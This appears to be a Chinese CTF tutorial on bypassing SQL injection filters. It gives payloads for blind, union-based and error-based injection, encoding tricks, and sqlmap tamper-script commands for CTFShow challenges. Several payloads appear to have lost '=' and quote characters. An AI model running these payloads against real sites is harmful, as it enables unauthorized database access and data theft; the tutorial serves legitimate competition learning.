CTF Web题中的SQL注入花式绕过从手工技巧到自动化工具实战在CTF竞赛的Web安全赛道上SQL注入始终是高频出现的经典题型。随着防御手段的升级各种过滤机制层出不穷从基础的空格过滤到复杂的关键字拦截对选手的绕过技巧提出了更高要求。本文将系统梳理CTF中常见的SQL注入过滤场景提供从手工绕过到工具集成的完整解决方案。1. 过滤机制分析与基础绕过手法1.1 空格过滤的多种替代方案当题目过滤空格字符时注入语句的构造需要特殊处理。以下是经过实战验证的有效替代方案1/**/union/**/select/**/1,2,3# 1%09union%09select%09version(),2,3%23 1(select*from(select1)a)union(select*from(select2)b)#关键替代字符对照表过滤字符替代方案适用场景空格/**/MySQL注释语法空格%09 (TAB)URL编码形式空格%0A (换行)特殊编码场景空格括号包裹表达式特定函数调用时1.2 逗号限制的创造性解法在order by、limit等子句中逗号经常成为被过滤对象。通过子查询和join语法可以巧妙绕过-- 传统limit 0,1的替代写法 1 union select * from (select 1)a join (select 2)b join (select 3)c limit 1 offset 0# -- 替代if函数的case when语法 1 and case when (ascii(substr(database()from(1)for(1)))100) then 1 else 0 end#2. 高级绕过技术与实战案例2.1 基于字符编码的混淆技术某些WAF会对特定关键词进行匹配拦截通过编码转换可有效规避检测# URL双重编码示例 payload 1 UNI%25%34%6FN SELECT 1,2,3-- # 十六进制表示字符串 hex_payload 0x admin.encode(utf-8).hex()CTFShow Web6实战1%25%32%30union%25%32%30select%25%32%301,group_concat(table_name),3%25%32%30from%25%32%30information_schema.tables%25%32%30where%25%32%30table_schemadatabase()%232.2 布尔盲注的高效利用当直接回显被禁用时布尔盲注成为可靠选择。优化后的注入策略可以显著提高效率1 and (select case when (substr((select table_name from information_schema.tables where table_schemadatabase() limit 1),1,1)f) then sleep(3) else 0 end)#提示结合二分查找算法可以大幅减少请求次数对于时间盲注建议设置合理的超时阈值3. sqlmap高级应用与tamper脚本解析3.1 常用tamper脚本功能详解sqlmap内置的tamper脚本能自动处理各种过滤场景以下是针对CTF的精选脚本脚本名称主要功能适用过滤场景space2comment空格转/**/基础空格过滤between用between替换比较符比较符号(,)过滤randomcase随机大小写混淆关键字大小写检测charencodeURL编码转换简单关键词匹配equaltolike 转 LIKE等号过滤3.2 CTFShow Web7自动化注入实战# 基础探测 sqlmap -u http://target.com?id1 --tamperspace2comment --batch --dbs # 指定数据库深度注入 sqlmap -u http://target.com?id1 --tamperspace2comment,randomcase \ -D web7 --techniqueB --level3 --risk3 --flush-session关键参数说明--techniqueB指定使用布尔盲注技术--level3增加检测头(User-Agent,Referer)--flush-session强制刷新会话缓存4. 防御规避与综合实战策略4.1 混合绕过技术组合应用在实际CTF题目中往往需要多种技术组合使用/* 同时绕过空格和逗号过滤的复杂示例 */ 1/*!50000union*/select*from((select1)A)join((select2)B)join((select3)C)#4.2 基于报错注入的精确利用当过滤规则过于严格时报错注入可能成为突破口1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)#CTFShow Web8解决方案1||extractvalue(1,concat(0x7e,(select(flag)from(flag)limit(1)),0x7e))%23在实战中发现某些题目会过滤常见的报错函数如updatexml此时可尝试使用polygon等几何函数作为替代方案。对于特别严格的过滤环境建议采用分段注入技术将长字符串拆分为多个短字符串后再组合